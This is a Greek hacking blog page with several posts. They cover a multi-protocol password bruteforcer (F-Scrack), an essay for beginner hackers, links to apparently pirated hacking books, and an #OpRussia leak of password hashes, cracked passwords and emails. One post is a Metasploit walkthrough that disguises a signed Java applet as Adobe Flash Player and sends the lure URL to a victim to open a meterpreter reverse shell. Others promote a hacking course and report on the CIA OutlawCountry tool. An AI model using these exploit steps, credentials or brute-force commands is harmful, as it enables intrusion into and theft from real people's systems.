Kατεβάσετε την εφαρμογή android του blog! DownLoad

FoulsCode: 2011-17

Translate

Πρόσφατα Σχόλια

Σύνολο αναρτήσεων

Συνολικές προβολές σελίδας

Εμφάνιση αναρτήσεων με ετικέτα Hacking. Εμφάνιση όλων των αναρτήσεων
Εμφάνιση αναρτήσεων με ετικέτα Hacking. Εμφάνιση όλων των αναρτήσεων

F-Scrack is a single file bruteforcer supports multi-protocol

Written By Fouls Code on Κυριακή, 16 Ιουλίου 2017 | Ιουλίου 16, 2017






F-Scrack is a single file bruteforcer supports multi-protocol, no extra library requires except python standard library, which is ideal for a quick test.

Currently support protocol: FTP, MySQL, MSSQL,MongoDB,Redis,Telnet,Elasticsearch,PostgreSQL.

Compatible with OSX, Linux, Windows, Python 2.6+.







Usage:



 python F-Scrack.py -h 192.168.1 [-p 21,80,3306] [-m 50] [-t 10]

-h
Supports ip(192.168.1.1), ip range (192.168.1) (192.168.1.1-192.168.1.254), ip list (ip.ini) , maximum 65535 ips per scan.
-p
Ports you want to scan, use comma to separate multi ports. Eg 1433,3306,5432. 
Default scan ports(21,23,1433,3306,5432,6379,9200,11211,27017) if no ports specified.
-m
Number of threads. Default is 100.
-t
Seconds to wait before timeout.
-d
Dictionary file.
-n
Scan without ping scan(Live hosts detect).
Example:

python F-Scrack.py -h 10.111.1
python F-Scrack.py -h 192.168.1.1 -d pass.txt
python F-Scrack.py -h 10.111.1.1-10.111.2.254 -p 3306,5432 -m 200 -t 6
python F-Scrack.py -h ip.ini -n



Ιουλίου 16, 2017 | 0 σχόλια | Διαβάστε περισσότερα

Νοοτροπία wanna-be hacker





Ευχάριστο τον (gcoder) για αυτό το θέμα!



Είναι ένα από τα θέματα που σκέφτομαι πάρα πολύ καιρό να κάνω και με θλίβει πραγματικά που με φτάσατε στο σημείο να το δημιουργήσω...

Αυτό το θέμα αφορά άτομα που θέλουν να γίνουν hackers αλλά δεν θέλουν να σπαταλήσουν χρόνο ή περιμένουν από κάποιον άλλον να τους μάθει... Επιπλέον για κάποιον παράξενο λόγο γίνεσαι κακός αν δεν του βοηθήσεις σε αυτό που σε ρωτάνε, άσχετα με το αν δεν τους βοηθάς επειδή δεν έχουν τις απαιτούμενες γνώσεις για να το πετύχουν.

Πριν προχωρήσω θα πω ότι δεν γράφω αυτό το άρθρο για κάποιο συγκεκριμένο άτομο και πως σκέφτομαι να το γράψω εδώ και αρκετό καιρό... Επιπλέον δεν ανταποκρίνεται μόνο σε ένα άτομο αλλά σε μια ομάδα ατόμων...

Τώρα ας ξεκινήσουμε από την αρχή.

Πολύ από εσάς γράφεστε στο φόρουμ και είσαστε στο 0. Συνήθως ρωτάτε βοήθεια για το πως να ξεκινήσετε να ασχολείστε και συνήθως καταλήγετε με έναν κατάλογο από βιβλία που πρέπει να διαβάσετε...

Δεν ξέρω τι κάνετε όταν φεύγετε αλά συνήθως σας βλέπω μετά από μια βδομάδα και ξεκινάτε να ρωτάτε πράγματα τύπου:
Πως μπορώ να χακάρω ένα pc με το metasploit/armitage/nmap/nessus και οποιοδήποτε άλλο πρόγραμμα βρήκατε στο youtube
Πως μπορώ να χακάρω facebook.
Πως μπορώ να κάνω sqli/xss/rce κλπ και να πάρω πρόσβαση σε μια ιστοσελίδα.
Γιατί το rat μου δουλεύει μόνο σε local δίκτυο.

Η λίστα αυτή συνεχίζετε κατά πολύ μεγάλο βαθμό αλλά για λόγους βιασύνης δεν θα την συνεχίσω τώρα. Τα πράγματα είναι ακόμα ποιο τραγικά όταν ένα άτομο σε ρωτάει όλες τις παραπάνω ερώτησης όπου βρίσκονται σε διαφορετικούς τομείς του hacking η κάθε μία.

Γιατί είναι πρόβλημα... Αρχικά θα σας θυμίσω ότι πριν μια βδομάδα δεν ξέρατε τίποτα... Πάμε να δούμε τι χρειάζεται να ξέρετε για τις παραπάνω ερώτησης...

1) Για να απαντήσω αυτήν την ερώτηση και να σας κάνω να καταλάβετε τι λέω, πρέπει να σας πω τα παρακάτω:

Ένα βιβλίο για το πως λειτουργούν τα κενά ασφαλίας
Το εγχειρίδιο του metasploit
Πιθανότατα κάποια πράγματα για C/Assembly και buffer overflows.

Όλα τα παραπάνω είναι όμως τρία βιβλία...

2)Για να απαντήσω αυτήν την ερώτηση και να σας κάνω να καταλάβετε τι λέω, πρέπει να σας πω τα παρακάτω:
Αρχικά να μάθω με ποιον τρόπο θέλετε να το χακάρετε... Υπάρχουν 100.000 διαφορετικοί τρόποι αλλά ας πάμε στον ποιο απλό... phising.
Μπορώ να σας πω τι είναι σε 2 λεπτά και να το καταλάβετε... αλλά για να σας πω πως να το κάνετε χρειάζεται:

Να σας μάθω php
Να σας μάθω CSS
Να σας μάθω html
Να σας μάθω ίσως mysql (αν θέλετε να γλιτώσετε από google dorks :P)
Να σας μάθω Social Engineering

Σύνολο 2 με 3 βιβλία...

3)Πως μπορώ να κάνω sqli/xss/rce

Τα πράγματα αλλάζουν από στόχο σε στόχο και για να μπορείτε να καταλάβετε τι χρειάζεται σε κάθε περίπτωση πρέπει να σας μάθω:

PHP
CSS
MYSQL
Javascript
XML
HTML
JSON (για serialization γατάκι :P)
Και πιθανότατα python αν θέλετε να φτιάχνετε και δικά σας scriptakia ώστε να μην παιδεύεστε συνέχεια...

Σύνολο 2 με 3 βιβλία...

4)Γιατί το rat μου δουλεύει μόνο σε local δίκτυο.

Πρέπει να σας μάθω πως λειτουργούν τα δίκτυα και πως επικοινωνούν οι συσκευές μεταξύ τους... 1 βιβλίο

Ακόμα και να ήθελα να σας τα εξηγήσω θα πρέπει να γράφω 8 ώρες στο chat για να σας πάω από το 0 στο βήμα 123 που είναι αυτή η ερώτηση. Από την άλλη τα βιβλία σας σας προετοιμάζουν για αυτές τις απορίες, ώστε να σας τις λύσω με 2 κουβέντες ή να βρείτε μόνοι σας τις απαντήσεις εύκολα...

Για παράδειγμα αν πριν ρωτήσετε πως μπορώ να κάνω sqli/xss/rce και έχετε ήδη μάθει τις γλώσσες που έχω αναφέρει τότε φτάνει να πω: σπας το tag και βάζεις δίκες σου εντολές στον κώδικα μαζί με ένα παράδειγμα η μια μικρή περιγραφεί αρκεί για να καταλάβετε τι γίνετε, άσχετα αν χρειάζεται ένα βιβλίο για να καταλάβετε όλες τι περιπτώσεις και πως μπορείτε να εκμεταλλευτείτε την κάθε μια μαζί με tips & tricks που υπάρχουν...

Και ναι θα ήταν τόσο απλό να σας το εξηγήσω αν είχατε τις γνώσεις...

Που θέλω να καταλήξω: Σας έχω δώσει υλικό για αυτές τις απορίες πριν ακόμα τις ρωτήσετε, αλλά δυστυχώς αυτό απαιτεί χρόνο και κόπο. Πραγματικά γιατί ΜΕΡΙΚΟΙ νομίζετε ότι σας προτείνω βιβλία ολόκληρα? Για να σας προετοιμάσω... δεν μπορείτε να μάθετε hacking χωρίς το ανάλογο υπόβαθρο... Το μόνο που μπορείτε να κάνετε είναι να μάθετε επιφανειακά κάποια πράγματα και μηχανικά κάποιες μεθόδους, πότε όμως δεν θα καταλαβαίνεται τη γίνετε από πίσω... Αυτό όμως δεν είναι hacking είναι παίρνω ένα εργαλείο ή 5 μεθόδους και παίζω με αυτά για να περάσει η ώρα.

Δεν με πειράζει όμως τόσο αυτό... αλλά με πειράζει ότι σας εξηγώ ότι ακόμα και να σας βοηθήσω τώρα, εσείς δεν θα μάθετε τίποτα. Στην καλύτερη περίπτωση θα προσθέσετε μια μέθοδο στην λίστα σας. Δεν θα καταλάβετε όμως κάτι παραπάνω όπου είναι και το νόημα της βοήθειας που μου ζητάτε πιστεύω. Προσθέτω επίσης, ότι δεν αντιλαμβάνεστε την βοήθεια που σας προσφέρεται είδη... Αλλά ας πάμε τώρα στην δική μου περίπτωση για να δείτε τι εννοώ..

Όταν μου είπε ο Gnosis να μάθω python γιατί είναι χρήσιμη στο hacking τον άκουσα (πριν από 6 χρόνια περίπου κάπου πολύ μακρυά από εδώ )... Άλλα ήμουν αρκετά ηλίθιος ώστε να μην ρωτήσω για καλό υλικό. Διάβασα 2 βιβλία μέχρι να βρω ένα καλό βιβλίο που να σου μάθαινε όντος την γλώσσα σε βάθος και όχι απλά 5 πράγματα για το πως συντάσσεται... Χαμένος χρόνος και κόπος αυτά τα δύο βιβλία... Ναι έμαθα tricks άξιζαν να διαβάσω 2 βιβλία για να μάθω 1 trick? (πραγματικά ακόμα δεν ξέρω την απάντηση :P) Μετά βρήκα καλό υλικό (βιβλίο) και έμαθα καλά την γλώσσα python... Το email bruteforcer και email dictonary attack (προγράμματα που έχουν ανέβει στο φόρουμ) τότε τα έφτιαξα με αυτές τις γνώσεις που πείρα από το βιβλίο...

Εσείς έρχεστε, σας λέω τι χρειάζεστε σας δίνω το υλικό έτοιμο και το μόνο που έχετε να κάνετε είναι να το διαβάσετε και να με ρωτήσετε απορίες. Ε πόσο ποιο μασημένη τροφή ποια? το επόμενο βήμα είναι να σας τα κάνω σε μάθημα... Κάτι που δεν θα γίνει πότε...

Το χειρότερο είναι (ναι υπάρχει και άλλο). Ότι εφόσον με ρωτάτε ότι με ρωτάτε (που είναι πολύ προχωρημένο για εσάς και δεν μπορώ να σας το μάθω αν δεν κάτσουμε 2-3 ώρες), σας λέω ότι η απάντηση είναι στο βιβλίο και για να σας λύσω την απορία και να μάθετε όπως πρέπει θα χρειαστεί να το διαβάσετε, και συνεχίζετε να το αγνοείτε ... Ε τη περιμένετε να κάνω να σας ανοίξω το κεφάλι και να σας βάλω μέσα τις γνώσεις?

Θέλω να πω ότι δεν γίνετε να μάθεις διαφορετικά και αυτό που έχω κάνει εγώ είναι να συγκεντρώσω το υλικό σε μια γραμμή ώστε να μην χαλάτε χρόνο για να ψάχνεστε και να μαθαίνεται συνέχεια... Πριν μου πει ο Gnosis μάθε python σκεφτόμουν έναν μίνα τι έπρεπε να μάθω τότε (χαμένος χρόνος). Αυτά εγώ σας τα προσφέρω αλλά δεν μπορώ να σας τα μάθω όλα από το 0. Με ποιο απλά λόγια, σας δείχνω τον δρόμο αλλά θα τον περπατήσετε μόνοι σας. Δεν θα σας κουβαλήσω...

Κάτι άλλο που μου λένε πολύ... Εγώ έχω μάθει τόσα πράγματα από το youtube... ΌΧΙ... ΜΕ ΚΕΦΑΛΑΙΑ ΌΧΙ... έχεις παρακολουθήσει 5-10-100 video και έχεις μάθει πολύ επιφανειακά πράγματα... τόσο επιφανειακά που το δεύτερο (και πολύ λέω) κεφάλαιο των βιβλίων που λέω έχει πολύ σημαντικότερα πράγματα που όχι μόνο είναι σημαντικά αλλά δεν μπορείς να πας παρακάτω χωρίς αυτά (προσοχή μιλάω για τον κλασικό τύπο που βλέπει videakia για το πως να χακάρις facebook,windows 7 machine,wifi κλπ. Αν τα πάρεις από την σειρά και μάθεις τις γλώσσες από courses του youtube και μετά που θα είναι η ώρα μάθεις και hacking τότε αλλάζουν όλα εκεί και είναι και εφικτό...)

Το παραπάνω είναι ότι ποιο εύκολο για να το αποδείξω... Έστω ότι μαθαίνετε να σπάτε ιστοσελίδες με το sqlmap ή ακόμα και χειροκίνητα. Αν σας ρωτήσω πως δουλεύει η ιστοσελίδα ή πως συνδέετε η php στην mysql που προσπαθείτε να exploitarete δεν ξέρετε να μου απαντήσετε... Αυτό όμως σημαίνει ότι αν αλλάξει το παραμικρό πράγμα και χρειαστεί μια αλλαγή πάνω στην μέθοδο που έχετε η οποία δεν είναι στο google, τότε δεν θα καταφέρετε πότε να χακάρετε τον στόχο. (Πέρα από μερικές εξαιρέσεις που ίσως τύχει να δουλέψει το payload αλλά και πάλι δεν θα ξέρετε γιατί δούλεψε και γιατί όχι)

Ένα άλλο τεράστιο και μοιραίο λάθος που κάνετε είναι ότι επικεντρώνεστε στο πως να σπάσετε (χειραγωγήσετε ποιο σωστά) πράγματα. Δεν ενδιαφέρεστε καθόλου για την ιδεολογία του hacking και πως ξεκινήσετε και για τον ανοικτό κώδικα, κάποια πράγματα που κανονικά θα έπρεπε να ξεκινούσατε από εκεί. Μάλιστα οι περισσότεροι δεν έψαξαν καν για το τι σημαίνει/είναι χακέρ, νομίζουν ότι είναι ότι λέει η τηλεόραση και πως είδη το ξέρουν και δεν χρειάζεται να ψάξουν...

Προσπαθώ πραγματικά να σας βοηθήσω και θέλω... Σας λέω πως να γίνετε καλύτεροι από εμένα όσο ποιο γρήγορα γίνετε... Σας λέω τι θα έκανα εγώ αν ξεκινούσα τώρα από το 0 και ήθελα να μάθω σωστά γρήγορα και τσάμπα. Αλλά αν δεν με ακούτε, δεν μπορώ να σας βοηθήσω αλλιώς. Ακόμα και να πω ότι θα σας τα μάθω όλα και θα το παίξω καθηγητής, πόσους νομίζετε ότι θα διδάξω, σε πόσο χρόνο και μέχρι που θα φτάσουν και πόσο καλοί θα γίνουν? Σας πληροφορώ ότι επειδή θα ασκείτε πίεση για να βγει η ύλη, άτομα που ακολούθησαν απλά τις συμβουλές μου, σε βάθος χρόνου θα γίνουν καλύτεροι από αυτούς και πιθανότατα και από εμένα αν μείνω στάσιμος.



Αν θέλετε πραγματικά να μάθετε στρωθείτε στην μελέτη... Αν θέλετε να χασομεράτε και να χάνετε τον χρόνο σας απλά βλέποντας και κάνοντας επιφανειακά πράγματα που δεν έχουν και σχέση με το hacking τότε καθίστε στο youtube



Δυστυχώς ήρθε και για εμένα η ώρα να πάρω αυτήν την δύσκολη απόφασή. Στου αρχάριους που δεν ξέρουν τίποτα θα τους λέω μια φόρα πως να ξεκινήσουν και τη να διαβάσουν... Αν έρθουν με μια απορία του βήματος 87 την επόμενη βδομάδα και βρίσκονται στο βήμα 3 τότε απλά θα τους στέλνω αυτό εδώ το κείμενο... Έχω φάει πολλαπλές ώρες να εξηγώ γιατί με τα videakia δεν μαθαίνεις και γιατί βιβλία ή courses είναι απαραίτητα ή ακόμα και να κάνω τον άλλον να καταλάβει κάτι όπου υστερεί τις γνώσεις για να το καταλάβει. Προτιμώ να αφιερώσω αυτόν τον χρόνο ώστε πραγματικά να βοηθήσω κάποιον μέσο του φόρουμ ή ακόμα και το φόρουμ το ίδιο... Όποιος θέλει θα μάθει και θα είμαι εδώ για να τον βοηθήσω αλλά δεν θα ταΐσω/διδάξω κανέναν...



(Το θέμα αυτό προέρχεται από το greekhacking.gr)

Ιουλίου 16, 2017 | 0 σχόλια | Διαβάστε περισσότερα

Learning Hacking All Books 20

Written By Fouls Code on Σάββατο, 15 Ιουλίου 2017 | Ιουλίου 15, 2017


Tο foulscode.com κάνει διαμερισμό συνδέσμων.

Κάντε ένα μια κοινοποίηση για να μας ενθαρρύνεται να συνεχίσουμε!

Και συνεχίζουμε με τα βιβλία.
Το σύνολο τον βιβλίων που θα ανεβάσουμε είναι 29.57GB στηρίξτε μας με μια απλή κοινοποίηση του link.












1. 2014_car_hackers_handbook_compressed.pdf 12.4 MB
https://mega.nz/#!AjJ3ARzJ!_RhDsVBxa2stUuxF4cvklcmXfuZbJYsNLDazfnk5lFg

2. Enterprise Cybersecurity.pdf 20.9 MB
https://mega.nz/#!IjBDXTYZ!2DKv6FcjDRwiXpZG0BkuhJvnR0jueKmBunl8bgeenKs

3. Gray Hat Hacking - The Ethical Hacker's Handbook - 4th Edition (2015).epub 16.0 MB
https://mega.nz/#!sjAk2ZpI!zZakxbdE2rPc3OzCcHoDvL7CBV0AjMTPhR0vbZmMmCU

4. Hacking - 101 Hacking Guide - 2nd Edition (2015).epub 1.7 MB
https://mega.nz/#!VuImyS4Z!n0HfB4N-KP6jbemW0cdGGXyq5YPM9X5NH16BupNW_58

5. Hacking For Dummies, 5th Edition.pdf 11.2 MB
https://mega.nz/#!wyAkyaoT!vGyTah0awODYSNssaGiP39ud00w4E9BAF-QgKwDVsa8

6. Hacking-Point-of-Sale-Payment-Application-Secrets-Threats-and-Solutions-Slava-Gomzin.pdf 40.9 MB
https://mega.nz/#!YzBmmADK!Tl13DGy33iGlTd37kPElVo4fudTf7wl2tlK3-40cZZU

7. Hacking+and+Penetration+Testing+With+Low+Power+Devices.Philip+Polstra.Sep%2C+2014.pdf 8.3 MB
https://mega.nz/#!MugHDSTS!9Di3Yb4HqhcnBgIZAuceigPwJ3NB2qR09OF2qzBaT48

8. Instant Penetration Testing.pdf 3.8 MB
https://mega.nz/#!cjpTmZBb!Zeb48wt8ijdegXDLT6POy6Yjf9uQyDQcGrV6jYMUkVE

9. Kali Linux - Wireless Penetration Testing Beginners Guide (2015).pdf 12.7 MB
https://mega.nz/#!En5lWDrJ!d5Awz-J2cbLfHVF8K2YLGWrEhnyAeghr4E3wXHyhWk8

10. Kali Linux Web Penetration Testing Cookbook.pdf 11.8 MB
https://mega.nz/#!kyg0HKgS!PGrJOcD0RqI36d7JBZUqu0H33zFwR0LWosXc8Tup7c8

11. Learning Metasploit Exploitation and Development.pdf 9.1 MB
https://mega.nz/#!drownR5C!_tpzswrLcuKVMVs8Fua0MAaOV2K4rgWe1yAFXXVT-_4

12. Learning Pentesting for Android Devices.pdf 13.6 MB
https://mega.nz/#!EugRiIhT!s942nKq_kIGL6arbQ1F08tP6uUAXcIITgfjNOtnz9pA

13. Mastering Kali Linux Wireless Pentesting.pdf 25.2 MB
https://mega.nz/#!svBhgaKR!ljsIa4-cmVtHve_0QDjR2NWL9l1Zgz3eUHCqIXVZZac

14. Metasploit Penetration Testing Cookbook, Second Edition.pdf 6.9 MB
https://mega.nz/#!YmBXDTyD!VHAN4bJFgElobeMDPwT92twef7UUxITCMIlg8vaE5A4

15. pwk.1.0.pdf 17.9 MB
https://mega.nz/#!EuwHkQDB!YIg2gBimM-KnpA2u5yOg6HA6H4csQGFLUrIHDneqWYo

16. SHELL UPLOADING GUIDE.pdf 319 KB
https://mega.nz/#!A2AiXQ4b!8Zn5ceei5VVc8Z93h4GisZS4mZnK21QcrewNirjzz4s

17. The Browser Hacker-s Handbook.pdf 23.3 MB
https://mega.nz/#!4u5yiQjI!nBRBx7AsbfFobNHQODLj3egUS-4yc2x9KAv2_aViDqU

18. Visual Cryptography and Secret Image Sharing.pdf 9.7 MB
https://mega.nz/#!NzYTHbjI!9bSpayDXc_l9kAjkiIBU-rlaq_Mqbd-s1cfvH5XAAQI

19. Wiley.The.CISSP.Prep.Guide.Gold.Edition.eBook-kB.pdf 9.3 MB
https://mega.nz/#!lrY2GI7Q!FultB0pWX4LawoF7fpxPVUCqtgQ1WwTbM_NmeXmd39o

20. wp-pen-testing-android-apps.pdf 1.3 MB
https://mega.nz/#!N3YxnaIS!erYevIPuJdOskLmALAV6atJHNvGbYFR_ZZkj6kC9tSg
Ιουλίου 15, 2017 | 0 σχόλια | Διαβάστε περισσότερα

1,000+ usernames and passwords leaked for #OpRussia.

Written By Fouls Code on Τρίτη, 11 Ιουλίου 2017 | Ιουλίου 11, 2017





www.tagszn.ru

 teaser passwords:

 006403fa68aeb8cf5d9cfae1d561246b
 00b9843464e9c35007bf5824b8114453 (Z11iCZ7324)
 011e95c8d2eb765f87c54bd28801a95d
 01b43df153146e5cb88485649e1239e0
 01d599755e63287dffcbbb20ebbf0feb (zEwZUjO34) 
01f140858ea5dcd9e3355bab1d642aeb

 emails:

 0luggsi131@trumhome.info
 10101010_00978@mail.ru
 10host@bk.ru
 11591159@11591159.ru
 234455654@mail.ru
 usernames: !!!Farm!!! 
!angel! !Pharmacy! 0ut0fhead 1encereal1 2help 




Ιουλίου 11, 2017 | 0 σχόλια | Διαβάστε περισσότερα

Java Signed Applet Social Engineering Code Execution - Backtrack 5 R3

Written By Fouls Code on Σάββατο, 8 Ιουλίου 2017 | Ιουλίου 08, 2017

Στο tutorial που ακολουθεί θα προσπαθήσω να σας δείξω πως χρησιμοποιούμε τα Social Engineering Tools για να χτυπήσουμε ένα θύμα. Η διαδικασία είναι απλή και όλο το νόημα αυτής βασίζεται στην αποστολή URL στο θύμα μας έτσι ώστε όταν ανοίξει το URL που θα του στείλουμε να εκτεθεί το σύστημα του.

Requirement :

1. Metasploit Framework

2. Operating System(Προτείνω Linux OS ή Backtrack 5)

Βήμα προς Βήμα:

Α) Πρώτα απ' όλα ανοίγουμε ένα τερματικό πληκτρολογούμε:

Terminal: msfconsole <-|


Στη συνέχεια περιμένουμε λίγο και μας εμφανίζει msf> και πληκτρολογούμε:


use exploit/multi/browser/java_signed_applet <-|(φορτίζουμε το java_signed_applet exploit)

set payload windows/meterpreter/reverse_tcp <-|(ορίζουμε το reverse_tcp meterpreter έτσι ώστε να συνδεθούμε με το θύμα)


Β) Το επόμενο βήμα είναι να πληκτρολογήσουμε κάποιες εντολές...


Terminal: set appletname Adobe_Inc <-|
set certcn Adobe Flash Player <-|

set srvhost 192.168.8.92 <-| (η διεύθυνση τουδιακομιστή που ορίζει το exploit δηλαδή η διευθυνσή μας)

set srvport 80 <-| (επιλέγουμε τη θύρα 80 διότι είναι η κατάλληλη για τέτοιου είδους επιθέσεις μέσω social engineering tools)

set uripath videoplaylist <-| (η URL που στέλνουμε στο θύμα μας έτσι ώστε όταν την ανοίξει να εκτεθεί --> http://192.168.8.92/videoplaylist)

set lhost 192.168.8.92 <-| (η διεύθυνση μας)

set lport 443 <-| (η θύρα που χρησιμοποιούμε για να συνδεθούμε με το θύμα μας)

exploit <-| (έναρξη έκθεσης...)


Στη συνέχεια με κάποιο τρόπο πρέπει να αποστείλουμε στο θύμα μας τη διεύθυνση http://192.168.8.92/videoplaylist έτσι ώστε όταν την ανοίξει να αποκτήσουμε πρόσβαση στο σύστημά του. Μπορούμε να την αποστείλουμε με e-mail κτλ.

Όταν λοιπόν την ανοίξει αμέσως στο τερματικό μας τρέχει το σύστημα και μας λέει ότι το meterpreter session 1 opened... και έχει ανοίξει το σύστημα του και μας εμφανίζεται η καρτέλα:


Terminal: session -l <-| (για να δω τα ενεργά session)

Μετά μας βγάζει ότι έχουμε ένα session στη λίστα μας και πληκτρολογώ ξανά..

session -i <-|


Τέλος μας εμφανίζει στην οθόνη meterpreter>που σημαίνει ότι έχουμε μπει πλέον στο σύστημα του.

ΠΡΟΣΟΧΗ! Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε παράνομη εφαρμογή του οδηγού αυτού διώκεταιποινικά από το νόμο.

via: securitydnainfo.blogspot.gr


Ιουλίου 08, 2017 | 0 σχόλια | Διαβάστε περισσότερα

Πως να γίνεις ethical hacker απο beginer.

Written By Fouls Code on Τετάρτη, 5 Ιουλίου 2017 | Ιουλίου 05, 2017




Yπάρχει ένα πολύ ωραίο βίντεο στο διαδίκτυο που δείχνει τεχνικές που χρησιμοποιούν οι ethical hackers. Το βίντεο διαρκεί 16 ώρες μετά από αυτό το βίντεο θα έχετε τεράστιες γνώσης πάνω στο hacking άλλα επί της ουσίας θα είστε script kiddies, διότι δεν έχετε παιδευτη για να τα κάνετε μονοί σας, απλός βρήκατε τους κώδικες στο πιάτο και τους εκτελέσατέ. Βέβαια η αλήθεια είναι ότι μπορεί να σας βοηθήσει στο να κατανοήσετε τι κάνει ένας ethical hacker και ακόμα μπορεί να σας δείξει τον δρόμο για να ξέρετε τι βιβλία να διαβάσετε καθώς στο βίντεο αναφέρεται (kali linux ssl devil twin SQL injection hydra ddos και πολλά ακόμη που βαριέμαι να τα γράψω γιατί ξεπερνάνε της 30 κατηγορίες ...)

λοιπόν το βίντεο είναι εδώ, είναι 16 ώρες, πάρτε βαθιά ανάσα αποφασίστε ότι σήμερα δεν θα βγείτε από το σπίτι και να έχετε λεφτά για delivery και είστε έτοιμοι.





Get the complete hacking bundle!
http://josephdelgadillo.com/product/h...

Enroll in the FREE teachable course!
https://goo.gl/em1Dg9

Enroll in the 4 courses directly on Udemy!
The Complete Ethical Hacking Course for 2017!
http://bit.ly/2jFrv3e
Certified Ethical Hacker Boot Camp for 2017!
http://bit.ly/2iZvhDS
The Complete Ethical Hacker Course: Beginner to Advanced!
http://bit.ly/2klAkkc
Build an Advanced Keylogger for Ethical Hacking!
http://bit.ly/2jqfTOE

If you want to get started hacking you will LOVE The Complete Ethical Hacking Course: Beginner to Advanced! This complete course as seen on Udemy http://bit.ly/2klAkkc, and will take you from beginner to expert hacker. We will begin with the very basics showing you how to setup your environment, and move on to password cracking, WiFi hacking, Dos attacks, SQL injections, and much more!

Enroll in The Complete Hacking Course Bundle for 2017!
http://josephdelgadillo.com/product/h...

Time Stamps
01:01 Introduction to ethical hacking
09:02 Prerequisites for this course
16:31 Basic terminology: white hat, gray hat, black hat
28:31 Basic terminology: SQL injections, VPN, proxy, VPS, and keyloggers
46:49 VirtualBox installation
55:48 VirtualBox installation through the repositories
1:10:50 Creating a virtual environment
1:24:25 Installing VirtualBox on Windows
1:29:41 Kali Linux installation/setup
1:57:59 VirtualBox Guest Additions installation
2:12:39 Linux terminal basics
2:22:11 Linux command line interface basics
2:51:41 Tor browser setup
3:17:46 Proxychains
3:57:21 Virtual private network
4:15:50 Changing your mac address with macchanger
4:39:07 Footprinting with network mapper (nmap) and external resources
5:26:19 Attacking wireless networks cracking WPA/WPA2
5:41:33 Aircrack-ng & reaver installation
5:54:17 Installing aircrack-ng on Windows & Crunch on Linux
6:05:52 Aricrack-ng & crunch hacking example
6:48:03 Cracking WPS pins with reaver pt.1
7:03:27 Cracking WPS pins with reaver pt.2
7:14:09 Cracking WPS pins with reaver pt.3
7:30:34 Performing denial of service attacks on wireless networks pt.1
7:43:48 Performing denial of service attacks on wireless networks pt.2
8:01:44 SSL strip pt.1
8:10:33 SSL strip pt.2
8:21:11 SSL strip pt.3
8:39:24 Funny things pt.1
8:46:28 Funny things pt.2
8:58:40 Funny things pt.3
9:17:02 Evil twin pt.1
9:27:37 Evil twin pt.2
9:35:05 Evil twin pt.3
9:46:24 Using known vulnerabilities pt.1
9:56:04 Using know vulnerabilities pt.2
10:05:25 Using known vulnerabilities pt.3
10:24:20 Post authentication exploitation (DNS) pt.1
10:33:58 Post authentication exploitation (DNS) pt.2
10:46:20 Post authentication exploitation (DNS) pt.3
11:00:01 SQL injection pt.1
11:12:34 SQL injection pt.2
11:27:20 SQL injection pt.3
11:40:42 SQL injection pt.4
11:52:06 SQL injection pt.5
12:09:02 Brute force methods for cracking passwords – cracking hashes
12:21:06 Cracking linux passwords with john the ripper pt.1
12:33:51 Cracking linux passwords with john the ripper pt.2
12:42:41 Cracking windows passwords with john the ripper
13:02:06 Hydra usage pt.1
13:19:20 Hydra usage pt.2
13:37:41 DoS attack pt.1 introduction to denial of service attacks
13:56:18 DoS attack pt.2 combine slowloris.pl with nmap
14:04:38 DoS attack pt.3 featuring hackers.org
14:14:24 Intro to metasploit and reverse shells
14:32:52 Metasploit starting from a two terminal setup
14:51:16 Making reverse shells persistent on another system and escalating privileges
15:07:51 Creating a persistent shell with metasploit
15:18:48 Using netcat to make any kind of connection you may need
15:38:49 How to upload a reverse shell onto a web server


via: greekhacking.gr
Ιουλίου 05, 2017 | 0 σχόλια | Διαβάστε περισσότερα

OutlawCountry hacking εργαλείο της CIA για συσκευές με Linux

Written By Fouls Code on Τρίτη, 4 Ιουλίου 2017 | Ιουλίου 04, 2017



OutlawCountry : Μετά από το εργαλείο ELSA, το οποίο σύμφωνα με το WikiLeaks είναι ένα malware των Windows που χρησιμοποιεί η CIA για τον προσδιορισμό της θέσης ενός συγκεκριμένου χρήστη, έρχεται η αποκάλυψη του OutlawCountry, ένα διαφορετικό εργαλείο hacking που χρησιμοποιεί η υπηρεσία, σε συσκευές Linux.

Ένα εγχειρίδιο χρήσης που διέρρευσε το WikiLeaks αποκαλύπτει ότι η CIA χρησιμοποιεί το OutlawCountry τουλάχιστον από τον Ιούνιο του 2015. Το εργαλείο είναι ειδικά σχεδιασμένο για να ανακατευθύνει την εξερχόμενη κίνηση στο Internet σε άλλες διευθύνσεις.



Αυτό ουσιαστικά σημαίνει ότι οι πράκτορες της CIA μπορούν να παρακολουθήσουν τη δραστηριότητα ενός διακομιστή Linux. Για να είναι όμως αποτελεσματικό το OutlawCountry, η μυστική υπηρεσία πληροφοριών θα πρέπει πρώτα να αποκτήσει προνόμια πρόσβασης root.

Με άλλα λόγια, η CIA θα πρέπει πρώτα να παραβιάσει ένα σύστημα Linux με κάποια διαφορετική μέθοδο πριν μπορέσει να λειτουργήσει το OutlawCountry.
OutlawCountry

Το WikiLeaks αναφέρει ότι η πρώτη έκδοση του OutlawCountry περιέχει ένα kernel module για το CentOS/RHEL 6.x στα 64 bit και μπορεί να λειτουργεί μόνο με προεπιλεγμένους πυρήνες (kernels), ενώ υποστηρίζει μόνο την προσθήκη συγκεκαλυμμένων κανόνων DNAT στο PREROUTING chain.

“Το κακόβουλο λογισμικό αποτελείται από ένα kernel module που δημιουργεί έναν κρυφό πίνακα netfilter σε ένα στόχο Linux. Γνωρίζοντας το όνομα του πίνακα, ο επιτιθέμενος μπορεί να δημιουργήσει κανόνες που υπερισχύουν των υφιστάμενων κανόνων netfilter/iptables και είναι κρυφοί από έναν χρήστη ή ακόμα και από τον διαχειριστή συστήματος”, αναφέρει το WikiLeaks.

Το εγχειρίδιο χρήσης εξηγεί επακριβώς τον τρόπο λειτουργίας του hacking εργαλείου, ενώ αποκαλύπτει ότι η CIA μπορεί να αφαιρέσει όλα τα ίχνη του κακόβουλου λογισμικού μόλις ολοκληρωθεί η επίθεση.


